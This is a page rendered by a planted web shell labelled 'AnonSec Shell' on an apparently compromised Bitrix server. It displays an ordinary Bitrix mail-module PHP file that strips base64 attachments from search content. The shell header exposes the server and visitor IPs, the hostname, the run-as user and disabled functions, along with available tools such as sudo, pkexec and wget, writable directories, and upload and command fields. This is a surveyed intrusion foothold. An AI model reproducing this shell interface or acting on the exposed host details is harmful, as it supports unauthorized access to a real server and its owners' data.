AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.191.176.224
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/mail/lib/helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/mail/lib/helper/messagesearchcontentstepper.php
<?php

namespace Bitrix\Mail\Helper;
use Bitrix\Main;
use Bitrix\Mail;

class MessageSearchContentStepper extends Main\Update\Stepper
{
	private const LIMIT = 100;
	protected static $moduleId = 'mail';

	public function execute(array &$option): bool
	{
		if (empty($option))
		{
			$option['lastId'] = 0;
			$maxId = Mail\MailMessageTable::getList([
				'order' => ['ID' => 'DESC'],
				'limit' => 1,
				'select' => ['ID'],
			])->fetch();
			$option['maxId'] = (int) $maxId['ID'];
		}

		if ($option['lastId'] >= $option['maxId'])
		{
			return self::FINISH_EXECUTION;
		}

		$result = Mail\MailMessageTable::getList([
			'select' => [
				'ID',
				'SEARCH_CONTENT',
			],
			'filter' => [
				'><ID' => [max($option['lastId'], 0),$option['maxId']],
			],
			'order' => ['ID' => 'ASC'],
			'limit' => self::LIMIT,
		]);

		while ($message = $result->fetch())
		{
			$message['SEARCH_CONTENT'] = self::isolateBase64Files(str_rot13($message['SEARCH_CONTENT']));
			Mail\MailMessageTable::update($message['ID'], [
				'SEARCH_CONTENT' => $message['SEARCH_CONTENT'],
			]);

			$option['lastId'] = $message['ID'];
		}

		return self::CONTINUE_EXECUTION;
	}


	private function isolateBase64Files(string $text): string
	{
		$pattern = '/\[\s*data:(?!text\b)[^;]+;base64,\S+ \]/';
		$clearText = preg_replace($pattern, '', $text);
		return str_rot13($clearText);
	}
}

Anon7 - 2022
AnonSec Team